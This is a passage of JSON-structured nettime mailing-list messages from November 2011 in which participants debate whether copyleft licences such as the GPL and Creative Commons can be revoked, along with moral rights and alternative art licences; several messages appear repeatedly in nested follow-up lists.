                                        "date": "Mon, 21 Nov 2011 22:54:26 +0100",
                                        "to": "nettime-l {AT} kein.org",
                                        "message-id": "20111121215426.GD6453 {AT} hee.jungl",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00083.html",
                                        "content-type": "text/plai",
                                        "author_name": "Aymeric Mansoux",
                                        "subject": "Re: <nettime> My Lawyer is an Artis"
                                    }
                                ],
                                "from": "Heiko Recktenwald <heikorecktenwald {AT} googlemail.com>",
                                "content": "Dear Florian,\n\nAm 16.11.2011 19:07, schrieb Florian Cramer:\n\n>>> It is in fact a crucial stage. By doing so, the author allows her or\n>>> his work to interface with a system inside which it can be freely\n>>> exchanged, modified and distributed. The freedom of this work is not\n>>> to be misunderstood with gratis and free of charge access to the\n>>> creation, it means that once such a freedom is granted to a work of\n>>> art, anyone is free to redistribute and modify it according to the\n>>> rules provided by its license. There is no turning back once this\n>>> choice is made public.\n>>>\n>> This is IMHO pure nonsense. IMHO nothing can stop a pruducer from\n>> changing his mind for the future. Why should it be the way you\n>> imagine? What should be the reason for such a limitation (\"no turning\n>> back\") of his freedom? Can you show me, sorry, ONE case where a court\n>> has decided in your way?\n>>\n> A producer/copyright owner can change their mind about the license of\n> a work in the future, but cannot retroactively change a license\n> granted in the past if it was an indefinite license. \n\nThis is a beautifull idea but is it true?\n\nWhat is \"a licence\"?\n\nIs it a thing that you get?  No, it is a set of rules on what you can do\nwith something else, some code or whatever.\n\nAnd all rules have to be interpreted. Transfers of the code accordiing\nto the words of the licence have to be valid.\n\nI would make a difference between the relation between creator A and\nuser B and the relation between user B and C.\n\nEven if creator A would OWE something to user B, he would owe nothing to\nuser C.\n\nBut I doubt that there is any DUTY of creator A against anybody in those\nlicences in any legal sense and think that there is nothing  but a poem\nand actual consent on creator A, that can change.\n\nBest, H.\n\n<...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00063",
                                "date": "Thu, 17 Nov 2011 02:24:35 +0100",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "4EC46253.90008 {AT} gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00063.html",
                                "content-type": "text/plai",
                                "author_name": "Message not available",
                                "subject": "Re: <nettime> My Lawyer is an Artis"
                            },
                            {
                                "from": "Heiko Recktenwald <heikorecktenwald {AT} googlemail.com>",
                                "content": "Am 15.11.2011 20:01, schrieb Rob Myers:\n\n> On 15/11/11 10:15, Heiko Recktenwald wrote:\n>\n>> IMHO nothing can stop a pruducer from changing his mind for the future.\n>\n> They cannot however prevent the people who have received copies of their\n> work under a licence offering that work to other people under the same\n> licence.\n\nThis is what I am asking myself. I dont think the GPL produces any\nobligation, it is just the actual consent of the author that matters and\nmay change.\n\nIMHO,\n\nbest, H.\n\n<...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00061",
                                "date": "Wed, 16 Nov 2011 17:03:10 +0100",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "4EC3DEBE.2020307 {AT} gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00061.html",
                                "content-type": "text/plai",
                                "author_name": "Heiko Recktenwald",
                                "subject": "Re: <nettime> My Lawyer is an Artis"
                            },
                            {
                                "from": "Heiko Recktenwald <heikorecktenwald {AT} googlemail.com>",
                                "content": "Dear Florian,\n\nAm 16.11.2011 19:07, schrieb Florian Cramer:\n\n>>> It is in fact a crucial stage. By doing so, the author allows her or\n>>> his work to interface with a system inside which it can be freely\n>>> exchanged, modified and distributed. The freedom of this work is not\n>>> to be misunderstood with gratis and free of charge access to the\n>>> creation, it means that once such a freedom is granted to a work of\n>>> art, anyone is free to redistribute and modify it according to the\n>>> rules provided by its license. There is no turning back once this\n>>> choice is made public.\n>>>\n>> This is IMHO pure nonsense. IMHO nothing can stop a pruducer from\n>> changing his mind for the future. Why should it be the way you\n>> imagine? What should be the reason for such a limitation (\"no turning\n>> back\") of his freedom? Can you show me, sorry, ONE case where a court\n>> has decided in your way?\n>>\n> A producer/copyright owner can change their mind about the license of\n> a work in the future, but cannot retroactively change a license\n> granted in the past if it was an indefinite license. \n\nThis is a beautifull idea but is it true?\n\nWhat is \"a licence\"?\n\nIs it a thing that you get?  No, it is a set of rules on what you can do\nwith something else, some code or whatever.\n\nAnd all rules have to be interpreted. Transfers of the code accordiing\nto the words of the licence have to be valid.\n\nI would make a difference between the relation between creator A and\nuser B and the relation between user B and C.\n\nEven if creator A would OWE something to user B, he would owe nothing to\nuser C.\n\nBut I doubt that there is any DUTY of creator A against anybody in those\nlicences in any legal sense and think that there is nothing  but a poem\nand actual consent on creator A, that can change.\n\nBest, H.\n\n<...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00063",
                                "date": "Thu, 17 Nov 2011 02:24:35 +0100",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "4EC46253.90008 {AT} gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00063.html",
                                "content-type": "text/plai",
                                "author_name": "Heiko Recktenwald",
                                "subject": "Re: <nettime> My Lawyer is an Artis"
                            },
                            {
                                "from": "Rob Myers <rob {AT} robmyers.org>",
                                "content": "\nOn 17/11/11 01:24, Heiko Recktenwald wrote:\n\n>> A producer/copyright owner can change their mind about the license\n>> of a work in the future, but cannot retroactively change a license\n>> granted in the past if it was an indefinite license.\n>\n> This is a beautifull idea but is it true?\n\nYes.\n\n> What is \"a licence\"?\n\nA legal grant of permission. In some jurisdictions it is a form of\nlegal contract.\n\n> Is it a thing that you get? No, it is a set of rules on what you can\n> do with something else, some code or whatever.\n\nWhich affect whether you get a particular thing or not.\n\n> And all rules have to be interpreted. Transfers of the code\n> accordiing to the words of the licence have to be valid.\n\nAll legal documents have to be interpreted. The GPL and various\nCreative Commons licences have been interpreted and upheld by the\ncourts.\n\n> I would make a difference between the relation between creator A and\n> user B and the relation between user B and C.\n>\n> Even if creator A would OWE something to user B, he would owe\n> nothing to user C.\n\nB owes something to C, though, and B got it from A. A cannot change\nB's ability to give A's work to C. What A \"owes\" C depends on how\nRomantically we view A's work. But C will certainly end up with A's\nwork.\n\nYou are right that A and B have different relationships to C: under\ncopyleft A can relicence adaptations of the work, B can't. But that's\nvery different from being able to prevent C from receiving the\noriginal work from B.\n\n> But I doubt that there is any DUTY of creator A against anybody in\n> those licences in any legal sense and think that there is nothing\n> but a poem and actual consent on creator A, that can change.\n\nAs I say, the courts have upheld these \"poems\". A has no power to\nprevent C receiving the work from A. We can phrase this as a duty not\nto prevent C from receiving the work if we really want to.\n\n- Rob.\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00070",
                                "date": "Sun, 20 Nov 2011 12:26:24 +0000",
                                "to": "nettime-l {AT} mail.kein.org",
                                "message-id": "4EC8F1F0.2050708 {AT} robmyers.or",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00070.html",
                                "content-type": "text/plai",
                                "author_name": "Rob Myers",
                                "subject": "Re: <nettime> My Lawyer is an Artis"
                            },
                            {
                                "from": "Aymeric Mansoux <am-nt {AT} kuri.mu>",
                                "content": "Rob Myers said :\n\n> On 17/11/11 01:24, Heiko Recktenwald wrote:\n> > I would make a difference between the relation between creator A and\n> > user B and the relation between user B and C.\n> >\n> > Even if creator A would OWE something to user B, he would owe nothing\n> > to user C.\n> \n> B owes something to C, though, and B got it from A. A cannot change B's\n> ability to give A's work to C. What A \"owes\" C depends on how\n> Romantically we view A's work. But C will certainly end up with A's work.\n <...>\n\nJust to add to what Rob and the others have already said, I think there\nis also a confusion between copyright, moral rights and the\neffectiveness of the latter within copyleft practices. In theory A can\nstill stop C to keep on making a particular usage of A's work if there\nis a way to demonstrate that this particular usage, even though\nfully respecting the terms of the license, is damaging for A's honor and\nreputation.\n\nThat's the simplified general idea. In practice every juridiction has\nits own way to define moral rights and by extension its own cases of\nwhat is considered \"damaging\". To make things worse the very concept of\nmoral rights does not exist in all juridictions. Overall, whether it is\ndefined or not, the whole idea is difficult to put in practice, if not\nhard to make relevant to a specific context.\n\nIn the end, this only concerns very specific situations that will only\nchange the nature and possibly terminate the license or the contract\nbetween A and C. B's rights will remain unchanged, as well as the ones\nfrom D, E, F, ..., Z because free culture licenses are irrevocable. The\nGPLv3 and CC licenses are very explicit in that regard. A good\nillustration of the difficulty to deal with moral right issues is by\nchecking all the mechanisms in CC licenses to make sure A is not wrongly\ncredited for changes that were not endorsed.\n\nSo, as stated previously, once the decision is made, is public and that\nthe licensed work has been already copied/distributed, there is no\nturning back.\n\na.\n--\nhttp://su.kuri.mu\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00083",
                                "date": "Mon, 21 Nov 2011 22:54:26 +0100",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "20111121215426.GD6453 {AT} hee.jungl",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00083.html",
                                "content-type": "text/plai",
                                "author_name": "Aymeric Mansoux",
                                "subject": "Re: <nettime> My Lawyer is an Artis"
                            }
                        ],
                        "from": "Heiko Recktenwald <heikorecktenwald {AT} googlemail.com>",
                        "content": "\nHi\n\nAm 11.11.2011 14:23, schrieb Aymeric Mansoux:\n\n> It is in fact a crucial stage. By doing so, the author allows her or\n> his work to interface with a system inside which it can be freely\n> exchanged, modified and distributed. The freedom of this work is not\n> to be misunderstood with gratis and free of charge access to the\n> creation, it means that once such a freedom is granted to a work of\n> art, anyone is free to redistribute and modify it according to the\n> rules provided by its license. There is no turning back once this\n> choice is made public.\n\nThis is IMHO pure nonsense. IMHO nothing can stop a pruducer from\nchanging his mind for the future. Why should it be the way you\nimagine? What should be the reason for such a limitation (\"no turning\nback\") of his freedom? Can you show me, sorry, ONE case where a court\nhas decided in your way?\n\n\nThis artist is a lawyer,\n\n\nvery best,\n\n\nH.\n\n\n> The licensed work will then have a life of its own, an autonomy\n> granted by a specific freedom of use, not defined by its author, but\n> by the license she or he chose.\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00054",
                        "date": "Tue, 15 Nov 2011 11:15:43 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "4EC23BCF.4000406 {AT} gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00054.html",
                        "content-type": "text/plai",
                        "author_name": "Heiko Recktenwald",
                        "subject": "Re: <nettime> My Lawyer is an Artis"
                    },
                    {
                        "from": "Aymeric Mansoux <am-nt {AT} kuri.mu>",
                        "content": "Keith Sanborn said :\n\n> Very interesting to consider Mallarm\u00e9 and OuLiPo in this context. \n> \n> So is this endgame a condition of history or are there ways out?\n> Beyond the mutually exclusive strategies you enumerate? Do you have\n> one to propose? Or must we make our own inferences from the\n> interstices between the elements of your text?\n\nThe only thing that I'd like to propose is an encouragement to artists\ninterested in the topic to keep in mind that free culture is a hub where\nmany agendas and interests will collide and overlap regardless of their\npersonal intention and the one of the license creator. Knowing that\nmight be a beginning of a strategy.\n\nThat said, it is worth mentioning the existence of projects that attempt\nto break down the \"multidimensional\" nature of some free cultural or\nopen content licenses. Some of which will be familiar to this list's\nmembers: the Peer Production License, the Open Art License, the\nexception GPL aka ethical GPL, personal \"forks\" of the Free Art License,\netc.\n\nIn each case, the recipe is the same: isolate an issue that is not\ncompatible with a mode of production, a creation process, a belief or\nphilosophy and then forbid/manipulate it as a condition hard coded in\nthe license. \n\nSuch licenses are more than an artistic statement, in the sense of a\npurely artistic phantasy, they also aim at founding and building a body\nof cultural expressions. But none of them are a way out, instead it is a\nway in, a further nesting into some strange legal matryoshka, building\non top of the original copyleft nest within copyright.\n\nBest,\na.\n--\nhttp://su.kuri.mu \n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00051",
                        "date": "Mon, 14 Nov 2011 23:38:05 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "20111114223805.GG2825 {AT} pokute.jungl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00051.html",
                        "content-type": "text/plai",
                        "author_name": "Aymeric Mansoux",
                        "subject": "Re: <nettime> My Lawyer is an Artis"
                    },
                    {
                        "follow-up": [
                            {
                                "from": "Heiko Recktenwald <heikorecktenwald {AT} googlemail.com>",
                                "content": "Am 15.11.2011 20:01, schrieb Rob Myers:\n\n> On 15/11/11 10:15, Heiko Recktenwald wrote:\n>\n>> IMHO nothing can stop a pruducer from changing his mind for the future.\n>\n> They cannot however prevent the people who have received copies of their\n> work under a licence offering that work to other people under the same\n> licence.\n\nThis is what I am asking myself. I dont think the GPL produces any\nobligation, it is just the actual consent of the author that matters and\nmay change.\n\nIMHO,\n\nbest, H.\n\n<...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00061",
                                "date": "Wed, 16 Nov 2011 17:03:10 +0100",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "4EC3DEBE.2020307 {AT} gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00061.html",
                                "content-type": "text/plai",
                                "author_name": "Heiko Recktenwald",
                                "subject": "Re: <nettime> My Lawyer is an Artis"
                            }
                        ],
                        "from": "Rob Myers <rob {AT} robmyers.org>",
                        "content": "On 15/11/11 10:15, Heiko Recktenwald wrote:\n\n> IMHO nothing can stop a pruducer from\n> changing his mind for the future.\n\nThey cannot however prevent the people who have received copies of their\nwork under a licence offering that work to other people under the same\nlicence.\n\nSo yes the artist can stop offering the work under that licence, but\nthey'll have a hard time suppressing it.\n\n- Rob.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00055",
                        "date": "Tue, 15 Nov 2011 19:01:26 +0000",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "4EC2B706.7080405 {AT} robmyers.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00055.html",
                        "content-type": "text/plai",
                        "author_name": "Rob Myers",
                        "subject": "Re: <nettime> My Lawyer is an Artis"
                    },
                    {
                        "from": "David Griffiths <dave {AT} pawfal.org>",
                        "content": "Heiko Recktenwald wrote:\n\n> Hi\n> \n> Am 11.11.2011 14:23, schrieb Aymeric Mansoux:\n> \n>> It is in fact a crucial stage. By doing so, the author allows her or\n>> his work to interface with a system inside which it can be freely\n>> exchanged, modified and distributed. The freedom of this work is not\n>> to be misunderstood with gratis and free of charge access to the\n>> creation, it means that once such a freedom is granted to a work of\n>> art, anyone is free to redistribute and modify it according to the\n>> rules provided by its license. There is no turning back once this\n>> choice is made public.\n> \n> This is IMHO pure nonsense. IMHO nothing can stop a pruducer from\n> changing his mind for the future. Why should it be the way you\n> imagine? What should be the reason for such a limitation (\"no turning\n> back\") of his freedom? Can you show me, sorry, ONE case where a court\n> has decided in your way?\n\nWith a licence such as the GPL my understanding was that the \"no-turning\nback point\" happens whenever someone else contributes or forks the work\n- from this point on agreement has to be reached from all authors before\nthe licence can be changed - in practice this is not generally possible.\n\nIn terms of software, the freedom considered important by the GPL is\nthat of the users of the work, not the developers (i.e. it should remain\nfree/open for the users benefit).\n\ncheers,\n\ndave\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00057",
                        "date": "Tue, 15 Nov 2011 18:07:40 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "4EC28E4C.2030409 {AT} pawfal.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00057.html",
                        "content-type": "text/plai",
                        "author_name": "David Griffiths",
                        "subject": "Re: <nettime> My Lawyer is an Artis"
                    },
                    {
                        "follow-up": [
                            {
                                "from": "Heiko Recktenwald <heikorecktenwald {AT} googlemail.com>",
                                "content": "Dear Florian,\n\nAm 16.11.2011 19:07, schrieb Florian Cramer:\n\n>>> It is in fact a crucial stage. By doing so, the author allows her or\n>>> his work to interface with a system inside which it can be freely\n>>> exchanged, modified and distributed. The freedom of this work is not\n>>> to be misunderstood with gratis and free of charge access to the\n>>> creation, it means that once such a freedom is granted to a work of\n>>> art, anyone is free to redistribute and modify it according to the\n>>> rules provided by its license. There is no turning back once this\n>>> choice is made public.\n>>>\n>> This is IMHO pure nonsense. IMHO nothing can stop a pruducer from\n>> changing his mind for the future. Why should it be the way you\n>> imagine? What should be the reason for such a limitation (\"no turning\n>> back\") of his freedom? Can you show me, sorry, ONE case where a court\n>> has decided in your way?\n>>\n> A producer/copyright owner can change their mind about the license of\n> a work in the future, but cannot retroactively change a license\n> granted in the past if it was an indefinite license. \n\nThis is a beautifull idea but is it true?\n\nWhat is \"a licence\"?\n\nIs it a thing that you get?  No, it is a set of rules on what you can do\nwith something else, some code or whatever.\n\nAnd all rules have to be interpreted. Transfers of the code accordiing\nto the words of the licence have to be valid.\n\nI would make a difference between the relation between creator A and\nuser B and the relation between user B and C.\n\nEven if creator A would OWE something to user B, he would owe nothing to\nuser C.\n\nBut I doubt that there is any DUTY of creator A against anybody in those\nlicences in any legal sense and think that there is nothing  but a poem\nand actual consent on creator A, that can change.\n\nBest, H.\n\n<...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00063",
                                "date": "Thu, 17 Nov 2011 02:24:35 +0100",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "4EC46253.90008 {AT} gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00063.html",
                                "content-type": "text/plai",
                                "author_name": "Heiko Recktenwald",
                                "subject": "Re: <nettime> My Lawyer is an Artis"
                            },
                            {
                                "from": "Rob Myers <rob {AT} robmyers.org>",
                                "content": "\nOn 17/11/11 01:24, Heiko Recktenwald wrote:\n\n>> A producer/copyright owner can change their mind about the license\n>> of a work in the future, but cannot retroactively change a license\n>> granted in the past if it was an indefinite license.\n>\n> This is a beautifull idea but is it true?\n\nYes.\n\n> What is \"a licence\"?\n\nA legal grant of permission. In some jurisdictions it is a form of\nlegal contract.\n\n> Is it a thing that you get? No, it is a set of rules on what you can\n> do with something else, some code or whatever.\n\nWhich affect whether you get a particular thing or not.\n\n> And all rules have to be interpreted. Transfers of the code\n> accordiing to the words of the licence have to be valid.\n\nAll legal documents have to be interpreted. The GPL and various\nCreative Commons licences have been interpreted and upheld by the\ncourts.\n\n> I would make a difference between the relation between creator A and\n> user B and the relation between user B and C.\n>\n> Even if creator A would OWE something to user B, he would owe\n> nothing to user C.\n\nB owes something to C, though, and B got it from A. A cannot change\nB's ability to give A's work to C. What A \"owes\" C depends on how\nRomantically we view A's work. But C will certainly end up with A's\nwork.\n\nYou are right that A and B have different relationships to C: under\ncopyleft A can relicence adaptations of the work, B can't. But that's\nvery different from being able to prevent C from receiving the\noriginal work from B.\n\n> But I doubt that there is any DUTY of creator A against anybody in\n> those licences in any legal sense and think that there is nothing\n> but a poem and actual consent on creator A, that can change.\n\nAs I say, the courts have upheld these \"poems\". A has no power to\nprevent C receiving the work from A. We can phrase this as a duty not\nto prevent C from receiving the work if we really want to.\n\n- Rob.\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00070",
                                "date": "Sun, 20 Nov 2011 12:26:24 +0000",
                                "to": "nettime-l {AT} mail.kein.org",
                                "message-id": "4EC8F1F0.2050708 {AT} robmyers.or",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00070.html",
                                "content-type": "text/plai",
                                "author_name": "Rob Myers",
                                "subject": "Re: <nettime> My Lawyer is an Artis"
                            },
                            {
                                "from": "Aymeric Mansoux <am-nt {AT} kuri.mu>",
                                "content": "Rob Myers said :\n\n> On 17/11/11 01:24, Heiko Recktenwald wrote:\n> > I would make a difference between the relation between creator A and\n> > user B and the relation between user B and C.\n> >\n> > Even if creator A would OWE something to user B, he would owe nothing\n> > to user C.\n> \n> B owes something to C, though, and B got it from A. A cannot change B's\n> ability to give A's work to C. What A \"owes\" C depends on how\n> Romantically we view A's work. But C will certainly end up with A's work.\n <...>\n\nJust to add to what Rob and the others have already said, I think there\nis also a confusion between copyright, moral rights and the\neffectiveness of the latter within copyleft practices. In theory A can\nstill stop C to keep on making a particular usage of A's work if there\nis a way to demonstrate that this particular usage, even though\nfully respecting the terms of the license, is damaging for A's honor and\nreputation.\n\nThat's the simplified general idea. In practice every juridiction has\nits own way to define moral rights and by extension its own cases of\nwhat is considered \"damaging\". To make things worse the very concept of\nmoral rights does not exist in all juridictions. Overall, whether it is\ndefined or not, the whole idea is difficult to put in practice, if not\nhard to make relevant to a specific context.\n\nIn the end, this only concerns very specific situations that will only\nchange the nature and possibly terminate the license or the contract\nbetween A and C. B's rights will remain unchanged, as well as the ones\nfrom D, E, F, ..., Z because free culture licenses are irrevocable. The\nGPLv3 and CC licenses are very explicit in that regard. A good\nillustration of the difficulty to deal with moral right issues is by\nchecking all the mechanisms in CC licenses to make sure A is not wrongly\ncredited for changes that were not endorsed.\n\nSo, as stated previously, once the decision is made, is public and that\nthe licensed work has been already copied/distributed, there is no\nturning back.\n\na.\n--\nhttp://su.kuri.mu\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00083",
                                "date": "Mon, 21 Nov 2011 22:54:26 +0100",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "20111121215426.GD6453 {AT} hee.jungl",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00083.html",
                                "content-type": "text/plai",
                                "author_name": "Aymeric Mansoux",
                                "subject": "Re: <nettime> My Lawyer is an Artis"
                            }
                        ],
                        "from": "Heiko Recktenwald <heikorecktenwald {AT} googlemail.com>",
                        "content": "Dear Florian,\n\nAm 16.11.2011 19:07, schrieb Florian Cramer:\n\n>>> It is in fact a crucial stage. By doing so, the author allows her or\n>>> his work to interface with a system inside which it can be freely\n>>> exchanged, modified and distributed. The freedom of this work is not\n>>> to be misunderstood with gratis and free of charge access to the\n>>> creation, it means that once such a freedom is granted to a work of\n>>> art, anyone is free to redistribute and modify it according to the\n>>> rules provided by its license. There is no turning back once this\n>>> choice is made public.\n>>>\n>> This is IMHO pure nonsense. IMHO nothing can stop a pruducer from\n>> changing his mind for the future. Why should it be the way you\n>> imagine? What should be the reason for such a limitation (\"no turning\n>> back\") of his freedom? Can you show me, sorry, ONE case where a court\n>> has decided in your way?\n>>\n> A producer/copyright owner can change their mind about the license of\n> a work in the future, but cannot retroactively change a license\n> granted in the past if it was an indefinite license. \n\nThis is a beautifull idea but is it true?\n\nWhat is \"a licence\"?\n\nIs it a thing that you get?  No, it is a set of rules on what you can do\nwith something else, some code or whatever.\n\nAnd all rules have to be interpreted. Transfers of the code accordiing\nto the words of the licence have to be valid.\n\nI would make a difference between the relation between creator A and\nuser B and the relation between user B and C.\n\nEven if creator A would OWE something to user B, he would owe nothing to\nuser C.\n\nBut I doubt that there is any DUTY of creator A against anybody in those\nlicences in any legal sense and think that there is nothing  but a poem\nand actual consent on creator A, that can change.\n\nBest, H.\n\n<...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00063",
                        "date": "Thu, 17 Nov 2011 02:24:35 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "4EC46253.90008 {AT} gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00063.html",
                        "content-type": "text/plai",
                        "author_name": "Message not available",
                        "subject": "Re: <nettime> My Lawyer is an Artis"
                    },
                    {
                        "from": "Heiko Recktenwald <heikorecktenwald {AT} googlemail.com>",
                        "content": "Am 15.11.2011 20:01, schrieb Rob Myers:\n\n> On 15/11/11 10:15, Heiko Recktenwald wrote:\n>\n>> IMHO nothing can stop a pruducer from changing his mind for the future.\n>\n> They cannot however prevent the people who have received copies of their\n> work under a licence offering that work to other people under the same\n> licence.\n\nThis is what I am asking myself. I dont think the GPL produces any\nobligation, it is just the actual consent of the author that matters and\nmay change.\n\nIMHO,\n\nbest, H.\n\n<...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00061",
                        "date": "Wed, 16 Nov 2011 17:03:10 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "4EC3DEBE.2020307 {AT} gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00061.html",
                        "content-type": "text/plai",
                        "author_name": "Heiko Recktenwald",
                        "subject": "Re: <nettime> My Lawyer is an Artis"
                    },
                    {
                        "from": "Heiko Recktenwald <heikorecktenwald {AT} googlemail.com>",
                        "content": "Dear Florian,\n\nAm 16.11.2011 19:07, schrieb Florian Cramer:\n\n>>> It is in fact a crucial stage. By doing so, the author allows her or\n>>> his work to interface with a system inside which it can be freely\n>>> exchanged, modified and distributed. The freedom of this work is not\n>>> to be misunderstood with gratis and free of charge access to the\n>>> creation, it means that once such a freedom is granted to a work of\n>>> art, anyone is free to redistribute and modify it according to the\n>>> rules provided by its license. There is no turning back once this\n>>> choice is made public.\n>>>\n>> This is IMHO pure nonsense. IMHO nothing can stop a pruducer from\n>> changing his mind for the future. Why should it be the way you\n>> imagine? What should be the reason for such a limitation (\"no turning\n>> back\") of his freedom? Can you show me, sorry, ONE case where a court\n>> has decided in your way?\n>>\n> A producer/copyright owner can change their mind about the license of\n> a work in the future, but cannot retroactively change a license\n> granted in the past if it was an indefinite license. \n\nThis is a beautifull idea but is it true?\n\nWhat is \"a licence\"?\n\nIs it a thing that you get?  No, it is a set of rules on what you can do\nwith something else, some code or whatever.\n\nAnd all rules have to be interpreted. Transfers of the code accordiing\nto the words of the licence have to be valid.\n\nI would make a difference between the relation between creator A and\nuser B and the relation between user B and C.\n\nEven if creator A would OWE something to user B, he would owe nothing to\nuser C.\n\nBut I doubt that there is any DUTY of creator A against anybody in those\nlicences in any legal sense and think that there is nothing  but a poem\nand actual consent on creator A, that can change.\n\nBest, H.\n\n<...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00063",
                        "date": "Thu, 17 Nov 2011 02:24:35 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "4EC46253.90008 {AT} gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00063.html",
                        "content-type": "text/plai",
                        "author_name": "Heiko Recktenwald",
                        "subject": "Re: <nettime> My Lawyer is an Artis"
                    },
                    {
                        "from": "Rob Myers <rob {AT} robmyers.org>",
